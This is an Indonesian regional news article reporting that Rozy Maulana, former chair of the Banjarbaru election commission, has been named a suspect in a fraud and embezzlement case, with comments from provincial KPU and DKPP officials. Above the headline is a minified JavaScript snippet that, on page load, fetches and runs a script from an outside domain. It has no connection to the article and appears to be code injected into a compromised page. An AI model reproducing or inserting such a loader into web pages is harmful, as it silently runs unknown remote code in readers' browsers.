(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Rozy Maulana Tersangka Kasus Penipuan, Ini Respon Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Mantan Ketua Komisi Pemilhan Umum (KPU) Kota Banjarbaru Rozy Maulana masih berstatus sebagai anggota komisioner KPU meski sudah ditetapkan sebagai tersangka kasus dugaan penipuan dan penggelapan oleh Kejari Tanah Bumbu (Tanbu).

Hal ini diungkapkan Ketua KPU Provinsi Kalimantan Selatan (Kalsel), Andi Tenri Sompa kepada awak media di lapangan dr Murdjani Rabu (24/7/2024) siang.

“Ketua KPU Banjarbaru sedang ada sedikit persoalan. Status beliau hari ini masih sebagai anggota KPU Kota Banjarbaru, jadi bukan pemberhentian total, tapi masih pemberhentian sebagai ketua, sekarang statusnya masih anggota,” ujar Andi Tenri Sompa.

Menurut informasi dihimpun, Rozy Maulana terjerat kasus penipuan dan penggelapan dengan sangkaan pasal 378 KUHP tentang penipuan dan pasal 372 KUHP tentang penggelapan. Adapun nilai kerugian mencapai Rp2-Rp3 miliar.

Kasus yang menyeret Rozy ini telah masuk tahap II di Kejaksaan Negeri (Kejari) Tanbu dan dititipkan di rumah tahanan Polres Tanbu.

Sementara itu KPU Kalsel sendiri, kata Andi Tenri Sompa, telah melakukan preventif dengan mengintruksikan KPU Kota Banjarbaru melakukan pleno memilih ketua yang baru yakni Dahtiar.

“Dan pleno sudah dilaksanakan dan sudah terpilih secara aklamasi Ketua KPU Banjarbaru yang baru pak Dahtiar,” ungkap dia.

“Tidak bisa serta merta, proses kami di KPU kami harus mengirim ke KPU RI. KPU RI sudah menanggapi dan menetapkan serta memberikan SK Ketua KPU Banjarbaru saat ini adalah Pak Dahtiar,” jelasnya.

Lebih lanjut Andi Tenri mengatakan, akan kembali berkordinasi dengan pihak terkait untuk melihat proses kasus Rozy Maulana berjalan.

“Selanjutnya kita akan koordinasi dengan pihak terkait untuk melihat sejauh mana proses Pak Rozy kemudian akan kami ambil langkah berikutnya,” sambung dia.

Saat ditanya desakan KPU untuk Bawaslu terkait pelaporan kasus ini kepada Dewan Kehormatan Penyelenggara Pemilu (DKPP), Andi Tenri mengaku menyerahkan sepenuhnya kepada Bawaslu.

“Saya kira Bawaslu akan mengambil langkah sesuai dengan tugas dan kewenangan Bawaslu,” tuntas Tenri.

Di sisi lain, Tim Pemeriksa Daerah (TPD) DKPP Kalsel, Erna Kasypiah mengatakan, DKPP baru bisa menindaklanjuti penindakan terhadap kasus Rozy jika ada laporan.

“DKPP tidak bisa meminta laporan, jadi kalau memungkinkan Bawaslu sendiri jika melihat ada dugaan pelanggaran etik mestinya langsung melakukan kajian, atau melaporkan terhadap adanya dugaan itu,” ujar TPD DKPP Kalsel, Erna Kasypiah terpisah.

Jika laporan itu nantinya masuk ke DKPP kata dia, selanjutnya akan diproses sesuai mekanisme yang berlaku.

“Seperti halnya ada kasus-kasus lain masuk ke DKPP dilakukan kajian apakah sudha dipenuhi unsur formil dan materil sebagainya atau tidak,” tandas dia. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie